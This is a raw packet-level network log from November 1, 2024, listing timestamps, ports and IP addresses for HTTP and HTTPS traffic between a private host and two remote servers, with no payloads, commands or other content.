Nov 1, 2024 05:02:32.318087101 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.318110943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.318133116 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.318208933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.318264008 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.318296909 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.318310022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.318346024 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.318428040 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.318440914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.318505049 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.319032907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.354068995 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.354082108 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.354094982 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.354106903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.354137897 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.354208946 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.436031103 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436045885 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436058044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436114073 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.436181068 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436192989 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436234951 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.436357975 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436368942 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436407089 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.436510086 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436521053 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436569929 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.436589003 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.436640024 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.437174082 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.437184095 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.437236071 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.470973015 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.471012115 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.471045017 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.471067905 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.471121073 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.471173048 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.542970896 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:32.543062925 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:32.543206930 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:32.544215918 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:32.544241905 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:32.544255972 CET	59857	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:32.544260979 CET	443	59857	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:32.552134991 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552150011 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552162886 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552210093 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552215099 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.552254915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552261114 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.552457094 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552495956 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.552505970 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552522898 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552566051 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.552612066 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552623034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.552661896 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.588000059 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.588038921 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.588054895 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.588087082 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.588176012 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.588186979 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.588252068 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.588428020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.588496923 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.615027905 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:32.615063906 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:32.615140915 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:32.615524054 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:32.615536928 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:32.669111967 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669137955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669148922 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669203997 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.669255018 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669326067 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669337034 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669362068 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.669382095 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.669436932 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669856071 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669905901 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669915915 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.669922113 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.669958115 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.669996023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.704802036 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.704813957 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.704879999 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.704898119 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.704909086 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.704956055 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.705099106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.705108881 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.705161095 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.705255985 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.705310106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.705321074 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.705357075 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.705393076 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.785967112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.785980940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786004066 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786076069 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786087990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786129951 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.786154985 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.786433935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786443949 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786488056 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.786600113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786650896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786662102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.786705017 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.786750078 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.786974907 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.787046909 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.787059069 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.787102938 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.821731091 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.821783066 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.821798086 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.821810007 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.821851015 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.821940899 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.822001934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.822014093 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.822048903 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.822109938 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.822122097 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.822189093 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.903059959 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903074026 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903084993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903131008 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903176069 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903187990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903189898 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.903225899 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.903251886 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.903506041 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903551102 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903563023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903599977 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.903640985 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.903692007 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.904103994 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.904114008 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.904159069 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.938692093 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.938702106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.938731909 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.938770056 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.938771963 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.938827991 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.938961029 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.939028978 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.939039946 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.939081907 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.939358950 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.939408064 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.939419031 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.939423084 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.939457893 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:32.939704895 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.939743042 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:32.940110922 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.019927979 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.019938946 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.019994020 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.019994974 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.020036936 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.020047903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.020086050 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.020153046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.020195961 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.020627975 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.020642042 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.020694971 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.020772934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.020783901 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.020823002 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.055773020 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.055815935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.055829048 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.055871010 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.055954933 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.056008101 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.056045055 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.056056023 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.056102037 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.056238890 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.056248903 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.056289911 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.056643009 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.056654930 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.056664944 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.056741953 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.099229097 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.101121902 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.101181030 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.101192951 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.101238012 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.137152910 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137168884 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137181044 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137260914 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.137267113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137279987 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137336016 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.137444973 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137455940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137518883 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.137656927 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137675047 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137686014 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.137725115 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.172816038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.172836065 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.172848940 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.172919989 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.172976971 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.172993898 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.173036098 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.173145056 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.173199892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.173209906 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.173243999 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.173559904 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.173569918 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.173610926 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.218063116 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.218125105 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.218137026 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.218146086 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.218189001 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.241606951 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.241703987 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.254126072 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254187107 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254199028 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254240990 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254292011 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.254297018 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254308939 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254319906 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.254360914 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.254676104 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254688025 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254698038 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254740000 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.254803896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254816055 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.254842997 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.257958889 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.257971048 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.258160114 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.275840998 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.279184103 CET	59858	443	192.168.2.5	188.114.96.3
Nov 1, 2024 05:02:33.279217005 CET	443	59858	188.114.96.3	192.168.2.5
Nov 1, 2024 05:02:33.289952993 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.289964914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.289979935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.290025949 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.290082932 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.290680885 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.290693045 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.290703058 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.290734053 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.290791035 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.290802956 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.290837049 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.333112955 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.333138943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.333229065 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.334997892 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.335042953 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.335053921 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.335099936 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.371098995 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371119022 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371130943 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371170998 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.371206999 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.371229887 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371272087 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371288061 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371309996 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.371642113 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371651888 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371690989 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.371839046 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371892929 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371903896 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.371931076 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.371942997 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.372011900 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.407530069 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.407546997 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.407557011 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.407602072 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.407625914 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.407643080 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.407676935 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.407689095 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.407716036 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.408027887 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.408086061 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.408102036 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.408124924 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.408149004 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.452127934 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.452150106 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.452168941 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.452243090 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.452244997 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.452261925 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.452311039 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.452330112 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.452369928 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.488003969 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488017082 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488080978 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.488148928 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488215923 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488226891 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488257885 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.488343000 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488380909 CET	59856	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:02:33.488651991 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488662004 CET	80	59856	185.215.113.16	192.168.2.5
Nov 1, 2024 05:02:33.488697052 CET	59856	80	192.168.2.5	185.215.113.16
